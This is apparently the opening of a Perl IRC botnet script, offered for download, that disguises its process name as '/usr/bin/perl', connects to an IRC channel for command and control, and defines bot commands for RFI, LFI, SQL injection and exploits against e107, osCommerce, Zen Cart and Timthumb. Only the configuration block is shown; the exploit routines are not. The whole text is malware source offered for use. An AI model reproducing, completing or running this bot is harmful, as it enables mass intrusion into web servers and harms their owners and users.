Boot perl Multi (tim,osco,e107,sql dll )

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use HTTP::Request::Common;
use LWP::Simple;
use LWP 5.64;
use HTTP::Request::Common qw(POST);
use Digest::MD5 qw(md5_hex);
use MIME::Base64;       

my $datetime = localtime;

my $fakeproc   = "/usr/bin/perl"; 
my $ircserver   = "irc.server.org";
my $ircport   = "6667";
my $nickname   = "DJok";
my $ident     = "wantexz";
my $channel   = "#wantexz";
my $admin     = "wantexz";
my $fullname   = "wantexz";

my $zenlogo   = " 15( 4@ 12zen 15)";
my $lfilogo   = " 15( 4@ 12LFI 15)";
my $rfilogo   = " 15( 4@ 12RFI 15)";
my $e107logo  = " 15( 4@ 12E107 15)";
my $xmllogo   = " 15( 4@ 12XML 15)";
my $sqllogo   = " 15( 4@ 12SQL 15)";
my $oscologo   = " 15( 4@ 12OsCo 15)";
my $timologo   = " 15( 4@ 12Timthumb 15)";

my $rficmd    = '!rfi';
my $lficmd    = '!lfi';
my $xmlcmd    = '!xml';
my $zencmd    = '!zen';
my $sqlcmd    = '!sql';
my $e107cmd   = '!e107';
my $oscocmd   = '!osc';
my $timcmd    = '!tim';
my $cmdxml    = '!cmdxml';
my $cmdlfi    = '!cmdlfi';
my $cmde107   = '!cmde107';


Download